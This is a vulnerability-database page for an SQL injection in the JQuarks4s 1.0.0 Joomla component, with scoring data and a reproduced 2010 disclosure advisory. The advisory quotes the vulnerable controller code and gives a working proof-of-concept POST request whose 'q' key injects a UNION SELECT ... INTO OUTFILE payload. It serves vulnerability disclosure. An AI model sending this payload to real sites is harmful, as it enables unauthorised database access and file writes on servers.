CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
SQL injection vulnerability in the submitSurvey function in controller.php in JQuarks4s (com_jquarks4s) component 1.0.0 for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the q parameter in a submitSurvey action to index.php.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
0.99%
–
–
2022-03-13
–
–
0.99%
–
–
2022-04-03
–
–
0.99%
–
–
2022-05-29
–
–
0.99%
–
–
2022-08-14
–
–
0.99%
–
–
2022-11-13
–
–
0.99%
–
–
2022-11-20
–
–
0.99%
–
–
2022-11-27
–
–
0.99%
–
–
2023-03-05
–
–
0.99%
–
–
2023-03-12
–
–
–
0.06%
–
2023-11-05
–
–
–
0.06%
–
2023-11-12
–
–
–
0.06%
–
2023-11-19
–
–
–
0.06%
–
2023-11-26
–
–
–
0.06%
–
2024-02-11
–
–
–
0.12%
–
2024-03-17
–
–
–
0.13%
–
2024-04-14
–
–
–
0.13%
–
2024-06-02
–
–
–
0.15%
–
2024-08-11
–
–
–
0.15%
–
2024-08-25
–
–
–
0.15%
–
2024-09-22
–
–
–
0.06%
–
2024-11-24
–
–
–
0.06%
–
2024-12-08
–
–
–
0.06%
–
2024-12-22
–
–
–
0.08%
–
2025-01-12
–
–
–
0.08%
–
2025-01-19
–
–
–
0.08%
–
2025-03-18
–
–
–
–
0.13%
2025-03-18
–
–
–
–
0.13,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability
Name JQuarks4s
Vendor http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys
Versions Affected 1.0.0
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-11-08
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
A Joomla 1.5 free and open source tool for online surveys
and statistical analysis.
II. DESCRIPTION
_______________
A parameter is not properly sanitised before being used
in a SQL query.
III. ANALYSIS
_____________
Summary:
A) Blind SQL Injection
A) Blind SQL Injection
_______________________
Input passed to the "q" parameter in when "option"
is set to "com_jquarks4s" and "task" to "submitSurvey" is
not properly verified before being used in a SQL query.
This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.
The following is the vulnerable code (controller.php):
function submitSurvey()
{
// get post data
$data = JRequest::get('post');
...
$questions = $data['q'];
// debug
//var_dump($data);exit;
foreach ($questions as $question_id => $question) :
$type_id = (int)$question['type_id'];
switch ($type_id) :
...
case 4:
// recuperer les row_id du question_id
$rowsDB = $sessionModel->getRows($question_id);
So, $question_id is a key of the array "q" and type_id
his value. Therefore the injection is possibile by
inserting arbitrary SQL code as the key of the array and
4 as his value.
IV. SAMPLE CODE
_______________
A) Blind SQL Injection
Try to send the following packet to your test server.
Ensure that magic_quotes_gpc is set to off in order to
use the following test.
POST /path/index.php HTTP/1.1
Host: target
Content-Type: application x-www-form-urlencoded
Content-Length: 97
option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4
Note that if you want to use the '=' character, you must
covert it in URL encode format (%3D), otherwise the value
4 needed for the injection cannot be read.
V. FIX
______
No fix.